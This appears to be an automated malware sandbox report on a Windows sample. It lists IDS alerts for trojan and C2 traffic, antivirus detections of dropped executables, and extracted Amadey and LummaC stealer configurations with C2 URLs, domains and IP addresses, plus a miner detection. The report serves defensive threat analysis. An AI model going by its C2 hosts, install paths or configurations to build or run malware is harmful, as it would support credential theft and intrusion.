                                      2024-12-19T01:11:23.257151+010020283713Unknown Traffic192.168.2.550191172.67.179.109443TCP
                                      2024-12-19T01:11:24.083810+010020283713Unknown Traffic192.168.2.550192104.21.66.85443TCP
                                      2024-12-19T01:11:25.393585+010020283713Unknown Traffic192.168.2.550195172.67.179.109443TCP
                                      2024-12-19T01:11:26.513904+010020283713Unknown Traffic192.168.2.550196104.21.66.85443TCP
                                      2024-12-19T01:11:27.674570+010020283713Unknown Traffic192.168.2.550199172.67.179.109443TCP
                                      2024-12-19T01:11:28.663037+010020283713Unknown Traffic192.168.2.550201104.21.66.85443TCP
                                      2024-12-19T01:11:30.004702+010020283713Unknown Traffic192.168.2.550203172.67.179.109443TCP
                                      2024-12-19T01:11:30.941046+010020283713Unknown Traffic192.168.2.550205104.21.66.85443TCP
                                      2024-12-19T01:11:32.600400+010020283713Unknown Traffic192.168.2.550208172.67.179.109443TCP
                                      2024-12-19T01:11:33.274335+010020283713Unknown Traffic192.168.2.550209104.21.66.85443TCP
                                      2024-12-19T01:11:35.522006+010020283713Unknown Traffic192.168.2.550212104.21.66.85443TCP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:09:31.933855+010020546531A Network Trojan was detected192.168.2.549855104.21.12.88443TCP
                                      2024-12-19T01:09:33.904605+010020546531A Network Trojan was detected192.168.2.549863104.21.12.88443TCP
                                      2024-12-19T01:09:49.394302+010020546531A Network Trojan was detected192.168.2.549907104.21.12.88443TCP
                                      2024-12-19T01:09:52.684327+010020546531A Network Trojan was detected192.168.2.549915172.67.179.109443TCP
                                      2024-12-19T01:09:54.728285+010020546531A Network Trojan was detected192.168.2.549923172.67.179.109443TCP
                                      2024-12-19T01:10:05.339152+010020546531A Network Trojan was detected192.168.2.549955172.67.179.109443TCP
                                      2024-12-19T01:10:07.778287+010020546531A Network Trojan was detected192.168.2.549960172.67.179.109443TCP
                                      2024-12-19T01:10:15.229479+010020546531A Network Trojan was detected192.168.2.549988172.67.179.109443TCP
                                      2024-12-19T01:10:17.295246+010020546531A Network Trojan was detected192.168.2.549999172.67.179.109443TCP
                                      2024-12-19T01:10:18.997205+010020546531A Network Trojan was detected192.168.2.550006172.67.179.109443TCP
                                      2024-12-19T01:10:27.270935+010020546531A Network Trojan was detected192.168.2.550071104.21.23.76443TCP
                                      2024-12-19T01:10:29.383763+010020546531A Network Trojan was detected192.168.2.550078104.21.23.76443TCP
                                      2024-12-19T01:10:32.542376+010020546531A Network Trojan was detected192.168.2.550085104.21.91.209443TCP
                                      2024-12-19T01:10:34.511447+010020546531A Network Trojan was detected192.168.2.550091104.21.91.209443TCP
                                      2024-12-19T01:10:41.314003+010020546531A Network Trojan was detected192.168.2.550102104.21.67.146443TCP
                                      2024-12-19T01:10:43.412432+010020546531A Network Trojan was detected192.168.2.550107104.21.67.146443TCP
                                      2024-12-19T01:10:44.564173+010020546531A Network Trojan was detected192.168.2.550110172.67.179.109443TCP
                                      2024-12-19T01:10:45.384543+010020546531A Network Trojan was detected192.168.2.550111104.21.23.76443TCP
                                      2024-12-19T01:10:51.543921+010020546531A Network Trojan was detected192.168.2.550127104.21.91.209443TCP
                                      2024-12-19T01:10:59.584907+010020546531A Network Trojan was detected192.168.2.550136104.21.67.146443TCP
                                      2024-12-19T01:11:17.330731+010020546531A Network Trojan was detected192.168.2.550181172.67.179.109443TCP
                                      2024-12-19T01:11:19.384381+010020546531A Network Trojan was detected192.168.2.550184172.67.179.109443TCP
                                      2024-12-19T01:11:20.105644+010020546531A Network Trojan was detected192.168.2.550186104.21.66.85443TCP
                                      2024-12-19T01:11:22.164628+010020546531A Network Trojan was detected192.168.2.550189104.21.66.85443TCP
                                      2024-12-19T01:11:33.413681+010020546531A Network Trojan was detected192.168.2.550208172.67.179.109443TCP
                                      2024-12-19T01:11:36.352110+010020546531A Network Trojan was detected192.168.2.550212104.21.66.85443TCP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:09:31.933855+010020498361A Network Trojan was detected192.168.2.549855104.21.12.88443TCP
                                      2024-12-19T01:09:52.684327+010020498361A Network Trojan was detected192.168.2.549915172.67.179.109443TCP
                                      2024-12-19T01:10:05.339152+010020498361A Network Trojan was detected192.168.2.549955172.67.179.109443TCP
                                      2024-12-19T01:10:15.229479+010020498361A Network Trojan was detected192.168.2.549988172.67.179.109443TCP
                                      2024-12-19T01:10:27.270935+010020498361A Network Trojan was detected192.168.2.550071104.21.23.76443TCP
                                      2024-12-19T01:10:32.542376+010020498361A Network Trojan was detected192.168.2.550085104.21.91.209443TCP
                                      2024-12-19T01:10:41.314003+010020498361A Network Trojan was detected192.168.2.550102104.21.67.146443TCP
                                      2024-12-19T01:11:17.330731+010020498361A Network Trojan was detected192.168.2.550181172.67.179.109443TCP
                                      2024-12-19T01:11:20.105644+010020498361A Network Trojan was detected192.168.2.550186104.21.66.85443TCP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:09:33.904605+010020498121A Network Trojan was detected192.168.2.549863104.21.12.88443TCP
                                      2024-12-19T01:09:54.728285+010020498121A Network Trojan was detected192.168.2.549923172.67.179.109443TCP
                                      2024-12-19T01:10:07.778287+010020498121A Network Trojan was detected192.168.2.549960172.67.179.109443TCP
                                      2024-12-19T01:10:17.295246+010020498121A Network Trojan was detected192.168.2.549999172.67.179.109443TCP
                                      2024-12-19T01:10:29.383763+010020498121A Network Trojan was detected192.168.2.550078104.21.23.76443TCP
                                      2024-12-19T01:10:34.511447+010020498121A Network Trojan was detected192.168.2.550091104.21.91.209443TCP
                                      2024-12-19T01:10:43.412432+010020498121A Network Trojan was detected192.168.2.550107104.21.67.146443TCP
                                      2024-12-19T01:11:19.384381+010020498121A Network Trojan was detected192.168.2.550184172.67.179.109443TCP
                                      2024-12-19T01:11:22.164628+010020498121A Network Trojan was detected192.168.2.550189104.21.66.85443TCP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:11:19.326149+010020583551Domain Observed Used for C2 Detected192.168.2.550186104.21.66.85443TCP
                                      2024-12-19T01:11:21.339388+010020583551Domain Observed Used for C2 Detected192.168.2.550189104.21.66.85443TCP
                                      2024-12-19T01:11:24.083810+010020583551Domain Observed Used for C2 Detected192.168.2.550192104.21.66.85443TCP
                                      2024-12-19T01:11:26.513904+010020583551Domain Observed Used for C2 Detected192.168.2.550196104.21.66.85443TCP
                                      2024-12-19T01:11:28.663037+010020583551Domain Observed Used for C2 Detected192.168.2.550201104.21.66.85443TCP
                                      2024-12-19T01:11:30.941046+010020583551Domain Observed Used for C2 Detected192.168.2.550205104.21.66.85443TCP
                                      2024-12-19T01:11:33.274335+010020583551Domain Observed Used for C2 Detected192.168.2.550209104.21.66.85443TCP
                                      2024-12-19T01:11:35.522006+010020583551Domain Observed Used for C2 Detected192.168.2.550212104.21.66.85443TCP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:09:51.876103+010020583651Domain Observed Used for C2 Detected192.168.2.549915172.67.179.109443TCP
                                      2024-12-19T01:09:53.915779+010020583651Domain Observed Used for C2 Detected192.168.2.549923172.67.179.109443TCP
                                      2024-12-19T01:09:56.578661+010020583651Domain Observed Used for C2 Detected192.168.2.549929172.67.179.109443TCP
                                      2024-12-19T01:09:59.102836+010020583651Domain Observed Used for C2 Detected192.168.2.549937172.67.179.109443TCP
                                      2024-12-19T01:10:02.007040+010020583651Domain Observed Used for C2 Detected192.168.2.549946172.67.179.109443TCP
                                      2024-12-19T01:10:04.670784+010020583651Domain Observed Used for C2 Detected192.168.2.549955172.67.179.109443TCP
                                      2024-12-19T01:10:06.600721+010020583651Domain Observed Used for C2 Detected192.168.2.549960172.67.179.109443TCP
                                      2024-12-19T01:10:08.639148+010020583651Domain Observed Used for C2 Detected192.168.2.549965172.67.179.109443TCP
                                      2024-12-19T01:10:12.569915+010020583651Domain Observed Used for C2 Detected192.168.2.549983172.67.179.109443TCP
                                      2024-12-19T01:10:13.984183+010020583651Domain Observed Used for C2 Detected192.168.2.549987172.67.179.109443TCP
                                      2024-12-19T01:10:14.119950+010020583651Domain Observed Used for C2 Detected192.168.2.549988172.67.179.109443TCP
                                      2024-12-19T01:10:15.073046+010020583651Domain Observed Used for C2 Detected192.168.2.549993172.67.179.109443TCP
                                      2024-12-19T01:10:16.481942+010020583651Domain Observed Used for C2 Detected192.168.2.549999172.67.179.109443TCP
                                      2024-12-19T01:10:17.970074+010020583651Domain Observed Used for C2 Detected192.168.2.550006172.67.179.109443TCP
                                      2024-12-19T01:10:18.434981+010020583651Domain Observed Used for C2 Detected192.168.2.550011172.67.179.109443TCP
                                      2024-12-19T01:10:26.889991+010020583651Domain Observed Used for C2 Detected192.168.2.550072172.67.179.109443TCP
                                      2024-12-19T01:10:29.788068+010020583651Domain Observed Used for C2 Detected192.168.2.550081172.67.179.109443TCP
                                      2024-12-19T01:10:31.259783+010020583651Domain Observed Used for C2 Detected192.168.2.550087172.67.179.109443TCP
                                      2024-12-19T01:10:32.038998+010020583651Domain Observed Used for C2 Detected192.168.2.550088172.67.179.109443TCP
                                      2024-12-19T01:10:34.160971+010020583651Domain Observed Used for C2 Detected192.168.2.550093172.67.179.109443TCP
                                      2024-12-19T01:10:36.426108+010020583651Domain Observed Used for C2 Detected192.168.2.550096172.67.179.109443TCP
                                      2024-12-19T01:10:38.677214+010020583651Domain Observed Used for C2 Detected192.168.2.550100172.67.179.109443TCP
                                      2024-12-19T01:10:41.593003+010020583651Domain Observed Used for C2 Detected192.168.2.550106172.67.179.109443TCP
                                      2024-12-19T01:10:43.733705+010020583651Domain Observed Used for C2 Detected192.168.2.550110172.67.179.109443TCP
                                      2024-12-19T01:11:16.529478+010020583651Domain Observed Used for C2 Detected192.168.2.550181172.67.179.109443TCP
                                      2024-12-19T01:11:18.551956+010020583651Domain Observed Used for C2 Detected192.168.2.550184172.67.179.109443TCP
                                      2024-12-19T01:11:21.089494+010020583651Domain Observed Used for C2 Detected192.168.2.550187172.67.179.109443TCP
                                      2024-12-19T01:11:23.257151+010020583651Domain Observed Used for C2 Detected192.168.2.550191172.67.179.109443TCP
                                      2024-12-19T01:11:25.393585+010020583651Domain Observed Used for C2 Detected192.168.2.550195172.67.179.109443TCP
                                      2024-12-19T01:11:27.674570+010020583651Domain Observed Used for C2 Detected192.168.2.550199172.67.179.109443TCP
                                      2024-12-19T01:11:30.004702+010020583651Domain Observed Used for C2 Detected192.168.2.550203172.67.179.109443TCP
                                      2024-12-19T01:11:32.600400+010020583651Domain Observed Used for C2 Detected192.168.2.550208172.67.179.109443TCP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:10:26.565731+010020583981Domain Observed Used for C2 Detected192.168.2.550071104.21.23.76443TCP
                                      2024-12-19T01:10:28.498099+010020583981Domain Observed Used for C2 Detected192.168.2.550078104.21.23.76443TCP
                                      2024-12-19T01:10:31.658136+010020583981Domain Observed Used for C2 Detected192.168.2.550084104.21.23.76443TCP
                                      2024-12-19T01:10:33.890254+010020583981Domain Observed Used for C2 Detected192.168.2.550092104.21.23.76443TCP
                                      2024-12-19T01:10:36.425913+010020583981Domain Observed Used for C2 Detected192.168.2.550097104.21.23.76443TCP
                                      2024-12-19T01:10:38.676943+010020583981Domain Observed Used for C2 Detected192.168.2.550098104.21.23.76443TCP
                                      2024-12-19T01:10:41.394716+010020583981Domain Observed Used for C2 Detected192.168.2.550104104.21.23.76443TCP
                                      2024-12-19T01:10:44.407570+010020583981Domain Observed Used for C2 Detected192.168.2.550111104.21.23.76443TCP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:10:21.307868+010020197142Potentially Bad Traffic192.168.2.550017185.215.113.1680TCP
                                      2024-12-19T01:10:46.035998+010020197142Potentially Bad Traffic192.168.2.550114185.215.113.1680TCP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:09:21.169668+010020446961A Network Trojan was detected192.168.2.549828185.215.113.4380TCP
                                      2024-12-19T01:09:31.665591+010020446961A Network Trojan was detected192.168.2.549856185.215.113.4380TCP
                                      2024-12-19T01:09:44.157782+010020446961A Network Trojan was detected192.168.2.549893185.215.113.4380TCP
                                      2024-12-19T01:09:52.444035+010020446961A Network Trojan was detected192.168.2.549917185.215.113.4380TCP
                                      2024-12-19T01:10:02.772170+010020446961A Network Trojan was detected192.168.2.549948185.215.113.4380TCP
                                      2024-12-19T01:10:09.957954+010020446961A Network Trojan was detected192.168.2.549967185.215.113.4380TCP
                                      2024-12-19T01:10:24.101770+010020446961A Network Trojan was detected192.168.2.550050185.215.113.4380TCP
                                      2024-12-19T01:10:32.973062+010020446961A Network Trojan was detected192.168.2.550090185.215.113.4380TCP
                                      2024-12-19T01:10:41.637085+010020446961A Network Trojan was detected192.168.2.550105185.215.113.4380TCP
                                      2024-12-19T01:10:54.001004+010020446961A Network Trojan was detected192.168.2.550131185.215.113.4380TCP
                                      2024-12-19T01:10:59.393459+010020446961A Network Trojan was detected192.168.2.550137185.215.113.4380TCP
                                      2024-12-19T01:11:08.471101+010020446961A Network Trojan was detected192.168.2.550141185.215.113.4380TCP
                                      2024-12-19T01:11:15.674430+010020446961A Network Trojan was detected192.168.2.550178185.215.113.4380TCP
                                      2024-12-19T01:12:49.096578+010020446961A Network Trojan was detected192.168.2.550245185.215.113.4380TCP
                                      2024-12-19T01:15:07.082301+010020446961A Network Trojan was detected192.168.2.550297185.215.113.4380TCP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:10:16.121254+010020543501A Network Trojan was detected192.168.2.549994185.185.71.17080TCP
                                      2024-12-19T01:10:21.429421+010020543501A Network Trojan was detected192.168.2.550019185.185.71.17080TCP
                                      2024-12-19T01:10:29.442142+010020543501A Network Trojan was detected192.168.2.550080185.185.71.17080TCP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:11:17.782593+010020583541Domain Observed Used for C2 Detected192.168.2.5500121.1.1.153UDP
                                      2024-12-19T01:11:17.970787+010020583541Domain Observed Used for C2 Detected192.168.2.5500121.1.1.153UDP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:09:50.262312+010020583641Domain Observed Used for C2 Detected192.168.2.5530901.1.1.153UDP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:10:24.986571+010020583971Domain Observed Used for C2 Detected192.168.2.5565621.1.1.153UDP
                                      2024-12-19T01:10:25.187226+010020583971Domain Observed Used for C2 Detected192.168.2.5565621.1.1.153UDP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:09:49.956328+010020583781Domain Observed Used for C2 Detected192.168.2.5628761.1.1.153UDP
                                      2024-12-19T01:10:03.296833+010020583781Domain Observed Used for C2 Detected192.168.2.5530451.1.1.153UDP
                                      2024-12-19T01:10:12.753674+010020583781Domain Observed Used for C2 Detected192.168.2.5551461.1.1.153UDP
                                      2024-12-19T01:11:15.157947+010020583781Domain Observed Used for C2 Detected192.168.2.5532901.1.1.153UDP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:10:03.425105+010020442451Malware Command and Control Activity Detected185.215.113.20680192.168.2.549945TCP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:10:03.111549+010020442441Malware Command and Control Activity Detected192.168.2.549945185.215.113.20680TCP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:10:03.741488+010020442461Malware Command and Control Activity Detected192.168.2.549945185.215.113.20680TCP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:10:05.261176+010020442481Malware Command and Control Activity Detected192.168.2.549945185.215.113.20680TCP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:10:03.901240+010020442471Malware Command and Control Activity Detected185.215.113.20680192.168.2.549945TCP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:09:43.095906+010020480941Malware Command and Control Activity Detected192.168.2.549886104.21.12.88443TCP
                                      2024-12-19T01:09:57.480943+010020480941Malware Command and Control Activity Detected192.168.2.549929172.67.179.109443TCP
                                      2024-12-19T01:10:27.727853+010020480941Malware Command and Control Activity Detected192.168.2.550072172.67.179.109443TCP
                                      2024-12-19T01:10:35.092812+010020480941Malware Command and Control Activity Detected192.168.2.550092104.21.23.76443TCP
                                      2024-12-19T01:10:39.553571+010020480941Malware Command and Control Activity Detected192.168.2.550099104.21.91.209443TCP
                                      2024-12-19T01:10:46.501682+010020480941Malware Command and Control Activity Detected192.168.2.550112104.21.67.146443TCP
                                      2024-12-19T01:11:22.018517+010020480941Malware Command and Control Activity Detected192.168.2.550187172.67.179.109443TCP
                                      2024-12-19T01:11:31.736777+010020480941Malware Command and Control Activity Detected192.168.2.550205104.21.66.85443TCP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:10:02.674469+010020442431Malware Command and Control Activity Detected192.168.2.549945185.215.113.20680TCP
                                      2024-12-19T01:11:27.220489+010020442431Malware Command and Control Activity Detected192.168.2.550197185.215.113.20680TCP
                                      2024-12-19T01:11:31.650089+010020442431Malware Command and Control Activity Detected192.168.2.550206185.215.113.20680TCP
                                      2024-12-19T01:11:34.910713+010020442431Malware Command and Control Activity Detected192.168.2.550211185.215.113.20680TCP
                                      2024-12-19T01:11:38.131339+010020442431Malware Command and Control Activity Detected192.168.2.550214185.215.113.20680TCP
                                      2024-12-19T01:11:45.406318+010020442431Malware Command and Control Activity Detected192.168.2.550218185.215.113.20680TCP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:10:17.120560+010028561211A Network Trojan was detected192.168.2.550002185.215.113.4380TCP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:09:05.411028+010028561471A Network Trojan was detected192.168.2.549789185.215.113.4380TCP
                                      2024-12-19T01:14:10.405413+010028561471A Network Trojan was detected192.168.2.550274185.215.113.4380TCP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:09:19.706394+010028561221A Network Trojan was detected185.215.113.4380192.168.2.549795TCP
                                      2024-12-19T01:12:47.767641+010028561221A Network Trojan was detected185.215.113.4380192.168.2.550243TCP
                                      2024-12-19T01:15:05.752153+010028561221A Network Trojan was detected185.215.113.4380192.168.2.550294TCP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:09:10.264773+010028033053Unknown Traffic192.168.2.54980131.41.244.1180TCP
                                      2024-12-19T01:09:22.615531+010028033053Unknown Traffic192.168.2.54983431.41.244.1180TCP
                                      2024-12-19T01:09:33.115972+010028033053Unknown Traffic192.168.2.54986131.41.244.1180TCP
                                      2024-12-19T01:09:45.608626+010028033053Unknown Traffic192.168.2.549896185.215.113.1680TCP
                                      2024-12-19T01:09:53.894954+010028033053Unknown Traffic192.168.2.549922185.215.113.1680TCP
                                      2024-12-19T01:10:04.222380+010028033053Unknown Traffic192.168.2.549952185.215.113.1680TCP
                                      2024-12-19T01:10:11.811912+010028033053Unknown Traffic192.168.2.549978185.215.113.1680TCP
                                      2024-12-19T01:10:18.611371+010028033053Unknown Traffic192.168.2.55001031.41.244.1180TCP
                                      2024-12-19T01:10:25.626569+010028033053Unknown Traffic192.168.2.55006231.41.244.1180TCP
                                      2024-12-19T01:10:34.422648+010028033053Unknown Traffic192.168.2.55009431.41.244.1180TCP
                                      2024-12-19T01:10:43.085468+010028033053Unknown Traffic192.168.2.55010831.41.244.1180TCP
                                      2024-12-19T01:10:55.457652+010028033053Unknown Traffic192.168.2.55013331.41.244.1180TCP
                                      2024-12-19T01:11:00.844196+010028033053Unknown Traffic192.168.2.55013831.41.244.1180TCP
                                      2024-12-19T01:11:10.026100+010028033053Unknown Traffic192.168.2.55014431.41.244.1180TCP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:10:06.125533+010028033043Unknown Traffic192.168.2.549945185.215.113.20680TCP
                                      2024-12-19T01:10:36.456143+010028033043Unknown Traffic192.168.2.550095185.215.113.20680TCP
                                      2024-12-19T01:10:38.754812+010028033043Unknown Traffic192.168.2.550095185.215.113.20680TCP
                                      2024-12-19T01:10:40.399084+010028033043Unknown Traffic192.168.2.550095185.215.113.20680TCP
                                      2024-12-19T01:10:41.842418+010028033043Unknown Traffic192.168.2.550095185.215.113.20680TCP
                                      2024-12-19T01:10:45.591319+010028033043Unknown Traffic192.168.2.550095185.215.113.20680TCP
                                      2024-12-19T01:10:47.473996+010028033043Unknown Traffic192.168.2.550095185.215.113.20680TCP
                                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                                      2024-12-19T01:09:44.871571+010028438641A Network Trojan was detected192.168.2.549895104.21.12.88443TCP
                                      2024-12-19T01:10:13.989581+010028438641A Network Trojan was detected192.168.2.549987172.67.179.109443TCP
                                      2024-12-19T01:10:30.787957+010028438641A Network Trojan was detected192.168.2.550081172.67.179.109443TCP
                                      2024-12-19T01:10:42.486001+010028438641A Network Trojan was detected192.168.2.550106172.67.179.109443TCP
                                      2024-12-19T01:10:43.006502+010028438641A Network Trojan was detected192.168.2.550104104.21.23.76443TCP
                                      2024-12-19T01:10:49.575372+010028438641A Network Trojan was detected192.168.2.550121104.21.91.209443TCP
                                      2024-12-19T01:10:54.937235+010028438641A Network Trojan was detected192.168.2.550132104.21.67.146443TCP
                                      2024-12-19T01:11:31.366387+010028438641A Network Trojan was detected192.168.2.550203172.67.179.109443TCP
                                      2024-12-19T01:11:34.297532+010028438641A Network Trojan was detected192.168.2.550209104.21.66.85443TCP

                                      Joe Sandbox Signatures

                                      Click to jump to signature section

                                      Show All Signature Results

                                      AV Detection

                                      barindex
                                      Antivirus / Scanner detection for submitted sample
                                      Source: file.exeAvira: detected
                                      Antivirus detection for dropped file
                                      Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exeAvira: detection malicious, Label: HEUR/AGEN.1352802
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeAvira: detection malicious, Label: TR/Crypt.TPM.Gen
                                      Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exeAvira: detection malicious, Label: TR/Crypt.TPM.Gen
                                      Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exeAvira: detection malicious, Label: TR/ATRAPS.Gen
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeAvira: detection malicious, Label: TR/Crypt.TPM.Gen
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeAvira: detection malicious, Label: HEUR/AGEN.1352802
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeAvira: detection malicious, Label: TR/ATRAPS.Gen
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeAvira: detection malicious, Label: TR/Crypt.TPM.Gen
                                      Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exeAvira: detection malicious, Label: TR/Crypt.TPM.Gen
                                      Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exeAvira: detection malicious, Label: TR/Crypt.XPACK.Gen
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeAvira: detection malicious, Label: TR/Crypt.XPACK.Gen
                                      Found malware configuration
                                      Source: 00000003.00000003.2176314618.0000000005210000.00000004.00001000.00020000.00000000.sdmpMalware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
                                      Source: 35.2.1eb4b174fd.exe.3cc94e0.0.raw.unpackMalware Configuration Extractor: LummaC {"C2 url": ["rapeflowwj.lat", "aspecteirs.lat", "crosshuaht.lat", "grannyejh.lat", "energyaffai.lat", "necklacebudi.lat", "lossekniyyt.click", "sustainskelet.lat", "discokeyus.lat"], "Build id": "9Z1cyc--"}
                                      Multi AV Scanner detection for dropped file
                                      Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exeReversingLabs: Detection: 41%
                                      Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exeReversingLabs: Detection: 87%
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeReversingLabs: Detection: 87%
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeReversingLabs: Detection: 41%
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeReversingLabs: Detection: 52%
                                      Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exeReversingLabs: Detection: 66%
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeReversingLabs: Detection: 66%
                                      Multi AV Scanner detection for submitted file
                                      Source: file.exeVirustotal: Detection: 56%Perma Link
                                      Source: file.exeReversingLabs: Detection: 52%
                                      AI detected suspicious sample
                                      Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.5% probability
                                      Machine Learning detection for dropped file
                                      Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exeJoe Sandbox ML: detected
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeJoe Sandbox ML: detected
                                      Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exeJoe Sandbox ML: detected
                                      Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exeJoe Sandbox ML: detected
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeJoe Sandbox ML: detected
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeJoe Sandbox ML: detected
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeJoe Sandbox ML: detected
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeJoe Sandbox ML: detected
                                      Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exeJoe Sandbox ML: detected
                                      Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exeJoe Sandbox ML: detected
                                      Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exeJoe Sandbox ML: detected
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeJoe Sandbox ML: detected
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeJoe Sandbox ML: detected
                                      Machine Learning detection for sample
                                      Source: file.exeJoe Sandbox ML: detected
                                      Sample uses string decryption to hide its real strings
                                      Source: 35.2.1eb4b174fd.exe.3cc94e0.0.raw.unpackString decryptor: rapeflowwj.lat
                                      Source: 35.2.1eb4b174fd.exe.3cc94e0.0.raw.unpackString decryptor: crosshuaht.lat
                                      Source: 35.2.1eb4b174fd.exe.3cc94e0.0.raw.unpackString decryptor: sustainskelet.lat
                                      Source: 35.2.1eb4b174fd.exe.3cc94e0.0.raw.unpackString decryptor: aspecteirs.lat
                                      Source: 35.2.1eb4b174fd.exe.3cc94e0.0.raw.unpackString decryptor: energyaffai.lat
                                      Source: 35.2.1eb4b174fd.exe.3cc94e0.0.raw.unpackString decryptor: necklacebudi.lat
                                      Source: 35.2.1eb4b174fd.exe.3cc94e0.0.raw.unpackString decryptor: discokeyus.lat
                                      Source: 35.2.1eb4b174fd.exe.3cc94e0.0.raw.unpackString decryptor: grannyejh.lat
                                      Source: 35.2.1eb4b174fd.exe.3cc94e0.0.raw.unpackString decryptor: lossekniyyt.click
                                      Source: 35.2.1eb4b174fd.exe.3cc94e0.0.raw.unpackString decryptor: lid=%s&j=%s&ver=4.0
                                      Source: 35.2.1eb4b174fd.exe.3cc94e0.0.raw.unpackString decryptor: TeslaBrowser/5.5
                                      Source: 35.2.1eb4b174fd.exe.3cc94e0.0.raw.unpackString decryptor: - Screen Resoluton:
                                      Source: 35.2.1eb4b174fd.exe.3cc94e0.0.raw.unpackString decryptor: - Physical Installed Memory:
                                      Source: 35.2.1eb4b174fd.exe.3cc94e0.0.raw.unpackString decryptor: Workgroup: -
                                      Source: 35.2.1eb4b174fd.exe.3cc94e0.0.raw.unpackString decryptor: 9Z1cyc--
                                      Source: fd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: -----BEGIN PUBLIC KEY-----memstr_142a8873-b

                                      Bitcoin Miner

                                      barindex
                                      Yara detected Xmrig cryptocurrency miner
                                      Source: Yara matchFile source: 42.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE
                                      Source: Yara matchFile source: 41.3.Intel_PTT_EK_Recertification.exe.266a4d20000.0.raw.unpack, type: UNPACKEDPE
